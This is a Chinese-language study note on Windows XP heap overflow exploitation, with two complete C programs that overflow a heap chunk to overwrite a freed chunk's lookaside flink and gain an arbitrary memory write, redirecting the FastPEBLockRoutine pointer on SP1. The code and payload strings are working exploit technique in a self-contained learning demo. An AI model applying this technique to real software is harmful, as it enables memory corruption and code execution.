堆溢位學習筆記
0x00 概述
本文從程式例項出發,展示了XP SP1下的堆溢位+程式碼執行,XP SP3下的堆溢位+記憶體任意寫,主要面向{已經掌握緩衝區溢位原理,希望進一步瞭解堆溢位原理的初學者}、{就是想找個堆溢位例子跑一遍的安全愛好者}以及{跑不通各種堆溢位書籍示例程式碼、非得跑通程式碼才看的進去書的搜尋者}
本筆記參考自:http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/
程式碼有較多改動,終於跑通了,並且試著簡單地利用了一下。
按照程式碼閱讀者視角 整理了講解思路。
筆記只供初學者參考,並非嚴肅探討堆溢位細節問題,若有不當之處懇請各位指正。
0x01 測試程式碼環境
虛擬機器: VirtualBox
作業系統: Windows XP sp1
編譯器: VC++ 6.0
除錯工具: 看雪OllyICE
其中,Windows XP 只能是sp1,因為sp2之後需要繞過其溢位保護機制 會使文章更加複雜。
如果您想要尋找xp sp3 下的記憶體任意寫例項,請跳轉0x09。
0x02 測試程式碼步驟
安裝Windows XP sp1 注意,網上有很多sp2 不知什麼目的寫成是sp1,下面是真正的sp1 http://pan.baidu.com/share/link?shareid=371613660&uk=1865555701&fid=2361791550
下載VC++ 6.0 綠色版 http://pan.baidu.com/s/1kTLqYnd 解壓後執行sin.bat
下載程式碼工程 http://pan.baidu.com/s/1kT5HRNp
或者複製文中程式碼 自己新建工程
#!cpp
/*
Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
void print()
{
printf("\nHello\n");
}
int main(int argc,char *argv[])
{
char *a,*b,*c;
long *hHeap;
char buf[10];
printf("----------------------------\n");
printf("Overwrite a chunk on the lookaside\n");
printf("Heap demonstration\n");
printf("----------------------------\n");
// create the heap
hHeap = HeapCreate(0x00040000,0,0);
printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
printf("(+) Allocating chunk A\n");
// allocate the first chunk of size N (<0x3F8 bytes)
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk B\n");
// allocate the second chunk of size N (<0x3F8 bytes)
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
printf("(+) Freeing chunk B to the lookaside\n");
// Freeing of chunk B: the chunk gets referenced to the lookaside list
HeapFree(hHeap,0,b);
// set software bp
//__asm__("int $0x3");
printf("(+) Now overflow chunk A:\n");
// The overflow occurs in chunk A: we can manipulate chunk B's Flink
// PEB lock routine for testing purposes
// 16 bytes for size, 8 bytes for header and 4 bytes for the flink
strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
//gets(a);
// set software bp
//__asm__("int $0x3");
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
// __asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
// A copy operation from a controlled input to this buffer occurs: these
// bytes are written to our chosen location
// insert shellcode here
printf("%x",print);
memcpy(c,"\x00\x10\x40\x00",4);
// set software bp
//_asm int 0x3;
exit(0);
}
編譯執行,運氣好的直接就能跑,不過一般會如下圖:
顯示為:401005(0x00401005),然後修改程式碼中:
#!cpp
memcpy(c,"\x00\x10\x40\x00",4);
改成
#!cpp
memcpy(c,"\x05\x10\x40\x00",4);
重新編譯執行即可,成功後如下圖:
然後就可以開始正文了。
0x03 溢位的位置
之前我們給a從堆裡分配了0x10即16個位元組的空間
#!cpp
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
因此
#!cpp
strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
發生了溢位。
0x04 溢位前發生了什麼
#!cpp
HeapFree(hHeap,0,b);
把b free掉,然後b就會被放到lookaside list備用。
0x05 溢位後覆蓋了什麼
覆蓋了b的freelist chunk結構。
(AAAABBBB覆蓋了Headers,然後\x20\xf0\xfd\x7f覆蓋的是flink)
0x06 溢位後發生了什麼
#!cpp
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
// __asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
先是從lookaside取回b (flink已經被覆蓋了),然後再去分配c ,於是c被分配到了b的flink即我們的虛假指標處,之後就可以實現記憶體任意寫了(寫進c的內容就是寫進虛假指標)
0x07 虛假指標指向什麼地方
0x7FFDF000 指向 FastPEBLockRoutine() 地址指標 (XP SP1) 我們覆蓋這個地址,這樣一旦觸發異常,就會去call 這個地址。
然後我們把print函式地址寫進去,於是就會去執行print函式(顯示Hello,Hello上面列印的是print函式的地址)
0x08 為什麼非要XP SP1才能執行以上程式碼
因為SP1裡面FastPEBLockRoutine()的地址是固定的,而SP2以後版本會隨機
0x09 我就是要在XP SP3下跑程式碼,我不想下載SP1
那就用如下程式碼吧,不過就沒法FastPEBLockRoutine()隨意call 了
#!cpp
/*
Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
char str[]="\nHello123456789213456789\n";
char *a,*b,*c;
long *hHeap;
char buf[10];
printf("----------------------------\n");
printf("Overwrite a chunk on the lookaside\n");
printf("Heap demonstration\n");
printf("----------------------------\n");
// create the heap
hHeap = HeapCreate(0x00040000,0,0);
printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
printf("(+) Allocating chunk A\n");
// allocate the first chunk of size N (<0x3F8 bytes)
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk B\n");
// allocate the second chunk of size N (<0x3F8 bytes)
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
printf("(+) Freeing chunk B to the lookaside\n");
// Freeing of chunk B: the chunk gets referenced to the lookaside list
HeapFree(hHeap,0,b);
// set software bp
//__asm__("int $0x3");
printf("(+) Now overflow chunk A:\n");
// The overflow occurs in chunk A: we can manipulate chunk B's Flink
// PEB lock routine for testing purposes
// 16 bytes for size, 8 bytes for header and 4 bytes for the flink
printf("%x\n",str);
printf(str);
memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");0x71ac4050
//gets(a);
// set software bp
//__asm__("int $0x3");
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
// __asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
// A copy operation from a controlled input to this buffer occurs: these
// bytes are written to our chosen location
// insert shellcode here
strcpy(c,"AAAAAAAAAAAA\n");
printf(str);
// set software bp
//_asm int 0x3;
exit(0);
}
也許一遍就能跑通,但是一般來說還是像下面一樣
老規矩,自己改程式碼(圖中12ff64)0x0012ff64
#!cpp
memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
注意裡面有\x00,所以我換用memcpy了,成功後如下圖
那麼,這段程式碼展示的實際上是記憶體任意寫(沒有call anycode的利用),只是把任意內容寫到了str裡面,即free(b),再用str地址覆蓋b的flink,然後取回b,然後分配c,c被分配到了str地址,然後向c裡面寫AAAAAAA,然後就寫進str裡面了。
0x0A 結語
個人觀點:儘管看到這裡讀者仍然只是似懂非懂地{大致瞭解堆溢位的原理和過程},但是起碼有了一個基本的概念,對以後深入研究其機理 奠定了興趣基礎,並且對於{只是好奇的愛好者}來說,涉獵這些也就夠了。
建議有興趣的朋友們去看看heap-overflows-for-humans-102 原文,裡面有很多基礎概念的講解,本筆記僅為學習時的記錄,並非嚴肅翻譯原文。
0x0B reference
http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/
注:本文程式碼基於此文章修改,改動較大。
《C和C++安全編碼》
相關文章
- 阿里大佬講解Java記憶體溢位示例(堆溢位、棧溢位)2020-12-12阿里Java記憶體溢位
- 堆溢位之Overlapping2018-05-05APP
- Redis 報”OutOfDirectMemoryError“(堆外記憶體溢位)2023-04-17RedisError記憶體溢位
- Linux kernel 堆溢位利用方法2024-10-18Linux
- StackOverflowError堆疊溢位錯誤2024-07-05Error
- 堆溢位的unlink利用方法2020-08-19
- 基礎學習-記憶體溢位問題2024-03-21記憶體溢位
- *衡樹 Treap(樹堆) 學習筆記2022-01-29筆記
- ACM學習筆記:二叉堆2021-08-17ACM筆記
- SMT整型溢位漏洞分析筆記2018-06-19筆記
- Linux kernel 堆溢位利用方法(三)2024-11-27Linux
- Linux kernel 堆溢位利用方法(二)2024-11-11Linux
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 【學習筆記】數位DP2024-09-17筆記
- 數位DP 學習筆記2024-03-06筆記
- 學習筆記:數位dp2020-10-06筆記
- 異常、堆記憶體溢位、OOM的幾種情況2018-09-22記憶體溢位OOM
- 堆疊溢位報錯引發的思考2019-03-03
- Java棧溢位|記憶體洩漏|記憶體溢位2024-08-13Java記憶體溢位
- CSS 小結筆記之文字溢位處理2018-09-13CSS筆記
- mysql修改表欄位學習筆記2018-07-25MySql筆記
- 記憶體溢位2020-10-23記憶體溢位
- win10黑屏了堆疊溢位怎麼辦_win10系統黑屏提示堆疊溢位解決教程2020-05-01Win10
- Linux堆管理實現原理學習筆記 (上半部)2020-08-19Linux筆記
- 記一次公司JVM堆溢位抽絲剝繭定位的過程2020-07-20JVM
- 記一次公司JVM堆溢位抽繭剝絲定位的過程2020-10-14JVM
- C語言學習筆記——位運算2019-11-12C語言筆記
- Java記憶體溢位2021-03-20Java記憶體溢位
- 如何解決快應用堆疊溢位問題2021-07-30
- JVM學習-02-Java記憶體區域與記憶體溢位異常2024-12-01JVMJava記憶體溢位
- Java記憶體區域與記憶體溢位異常(JVM學習系列1)2018-07-30Java記憶體溢位JVM
- 「筆記」對頂堆動態維護中位數2024-04-26筆記
- Java解決遞迴造成的堆疊溢位問題2024-08-13Java遞迴
- numpy的學習筆記\pandas學習筆記2018-03-18筆記
- N1CTF2018 shopping:多執行緒堆題中堆溢位的應用2024-05-14TF2執行緒
- C#學習筆記-欄位、屬性、索引器2024-05-01C#筆記索引
- 溢位、上溢、下溢2019-03-22
- Vue專案中出現:Maximum call stack size exceeded(堆疊溢位)2020-03-04Vue